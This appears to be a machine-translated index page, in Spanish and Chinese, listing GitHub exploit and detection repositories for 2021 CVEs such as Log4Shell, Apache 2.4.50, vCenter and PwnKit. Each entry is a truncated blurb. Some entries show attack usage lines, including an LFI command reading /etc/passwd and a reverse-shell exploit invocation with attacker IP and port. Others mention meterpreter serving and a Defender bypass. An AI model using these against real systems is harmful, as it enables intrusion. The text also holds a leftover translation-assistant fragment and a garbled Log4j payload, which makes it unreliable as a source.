external_v8_AOSP10_r33_CVE-2021-0396

Motor JavaScript V8 V8 es el motor JavaScript de código abierto de Google. V8 implementa ECMAScript según lo especificado en ECMA-262. V8 está escrito en C++ y se utiliza en Google Chrome, el navegador de código abierto de Google. V8 puede ejecutarse de forma independiente o integrarse en cualqui...

Detection-script-for-cve-2021-23358

Detection-script-for-cve-2021-23358 Script de detección para cve-2021-23358 He creado un script de detección para CVE-2021-23358, que detectará la versión vulnerable de node underscore, ya sea que se haya instalado como herramienta de código abierto o que solo se estén utilizando las librerías...

CVE-2021-22006

CVE-2021-22005 - Subida de archivos a RCE en VMWare vCenter Server Analizar Uso root@kitploit: ------------------------------------------------------------- CVE-2021-22005 - VMWare vCenter Server File Upload to RCE Github: https://github.com/r0ckysec Twitter: https://twitter.com/r0cky6861636b...

log4j-vulnerability

Vulnerabilidad LOG4J Un proyecto basado en Java que presenta cómo explotar la vulnerabilidad CVE-2021-44228. https://user-images.githubusercontent.com/13152452/147803050-458593e9-4b54-4e1f-ba07-802866b9b43e.mp4 Requisitos Un sistema operativo basado en Linux: usé Ubuntu Desktop 20.10 64 bits...

CVE-2021-22054

with the translated title, subtitle, and the "Examples" heading. I will produce: CVE-2021-22054 Generar payloads SSRF Referencias https://blog.assetnote.io/2022/04/27/advisory-vmware-workspace-one-uem/ https://blog.assetnote.io/2022/04/27/vmware-workspace-one-uem-ssrf/ Ejemplos root@kitploit:...

cve-2021-20837-poc

cve-2021-20837-poc CVE-2021-20837 的 PoC：MovableType 中的 RCE 此漏洞由 The.Criminal.One 合作发现。 该 PoC 由其开发。 BLOG POST: https://nemesis.sh/posts/movable-type-0day/...

apache_2.4.50

Apache HTTP Server 2.4.50 LFI & RCE Un script python3 para el CVE-2021-42013 - Apache HTTP Server 2.4.50 LFI y RCE. RCE requiere que cgi-bin esté habilitado. Comenzando Ejecutando el programa LFI root@kitploit: python3 apache2.4.50.py -t http://apache.hack/ -lfi /etc/passwd RCE root@kitploit:...

CVE-2021-34527

CVE-2021-34527...

Log4j_dos_CVE-2021-45105

Log4j2 DOS CVE-2021-45105 Poc root@kitploit: $$::-$::-$$::-$ Versiones afectadas: todas las versiones desde 2.0-beta9 hasta 2.16.0 Esta aplicación está basada en una aplicación web Spring Boot vulnerable a CVE-2021-45105 Utiliza Log4j 2.16.0 Ejecutar la aplicación Ejecútala: root@kitploit: Import...

CVE-2021-1732-Exploit

CVE-2021-1732-Exploit CVE-2021-1732 Exploit Solo probado en windows10 1909 x64...

ansible-role-log4shell

lucab85.ansiblerolelog4shell Rol de Ansible para escanear hosts Linux objetivo mediante el script oficial de detección de Log4j de Red Hat RHSB-2021-009 para Log4Shell CVE-2021-44228. Probado con versión 1.3 del detector de Red Hat, 2022-01-10. Ansible Playbook El código también está disponible...

HAProxy_CVE-2021-40346

HAProxyCVE-2021-40346 HAProxy CVE-2021-40346 Informe Síguenos Vulnmachines YouTube Twitter Facebook...

exch_CVE-2021-42321

exchCVE-2021-42321 本文是7bits安全团队文章《DotNet安全-CVE-2021-42321复现》涉及到的工具 TypeConfuse链改为写入文件，bypass windows definder禁用w3wp.exe启动进程。 将此文件覆盖ysoserial.net原始文件，重新编译即可。 欢迎关注我们的公众号 - Zbits2022...

l4srs

l4srs Implementación en Rust de Log 4 Shell log4j - CVE-2021-44228 para compilar ejecuta cargo +nightly build Esta versión te permitirá construir clases de comando, servir dinámicamente un mini meterpreter que se ejecuta en un hilo de la aplicación Java explotada, y ejecutar los servidores LDAP y...

CVE-2021-31630

CVE-2021-31630 修改了Fellipe Oliveira为HTB编写的PoC CVE-2021-31630脚本 用法 '示例用法: exploit.py -u http://target-uri:8080 -l admin -p admin -i 192.168.1.54 -r 4444 -P program.st"'...

Openssl_1_1_0_CVE-2021-23841

OpenSSL 1.1.0g 2017年11月2日 Copyright c 1998-2016 The OpenSSL Project Copyright c 1995-1998 Eric A. Young, Tim J. Hudson 保留所有权利。 描述 OpenSSL 项目是一项协作努力，旨在开发一个健壮、商用级、功能齐全且开源的工具包，实现了传输层安全（TLS）协议（包括 SSLv3）以及一个全强度的通用加密库。 OpenSSL 源自 Eric A. Young 和 Tim J. Hudson 开发的 SSLeay 库。OpenSSL 工具包采用双许可证（OpenSSL 许可证加...

PoC-CVE-2021-41773

CVE-2021-41773 PoC Prueba de concepto para comprobar si los hosts son vulnerables a CVE-2021-41773. Description https://vulners.com/cve/CVE-2021-41773 Se encontró una falla en un cambio realizado en la normalización de rutas en Apache HTTP Server 2.4.49-2.4.50. Un atacante podría usar un ataque d...

log4j-poc

log4j-poc 针对CVE-2021-44228 Log4Shell的LDAP RCE漏洞利用 描述 演示用的Tomcat 8服务器（端口8080）上部署了存在漏洞的应用程序（log4shell），并且该服务器也通过用户代理攻击方式存在漏洞。 本演示中的远程利用应用程序基于 https://github.com/kozmer/log4j-shell-poc 上的代码。 本演示用的Tomcat服务器（Tomcat 8.5.3，Java 1.8.0u51）已被重新配置为使用Log4J2进行日志记录——这是一种非标准配置。...

nagios-xi-5.7.5-bugs

nagios-xi-5.7.5-bugs Errores reportados a Nagios XI CVE-2021-25296 Ubicación del código /usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php Fragmento de código root@kitploit: if !empty$pluginoutputlen $diskwmicommand .= " --forcetruncateoutput " . $pluginoutputlen;...

pwnkit-helper

Pkexec Escalada de Privilegios Local PwnKit Exploit fuente. Si quieres saber más sobre este exploit, consulta: CVE-2021-4034 Este Helper del Exploit Funciona Bien Con Python3, Y Asegúrate de Tener Instalados los Paquetes. Hará que sea muy fácil obtener la fl4g de root, ¡BUENA SUERTE!...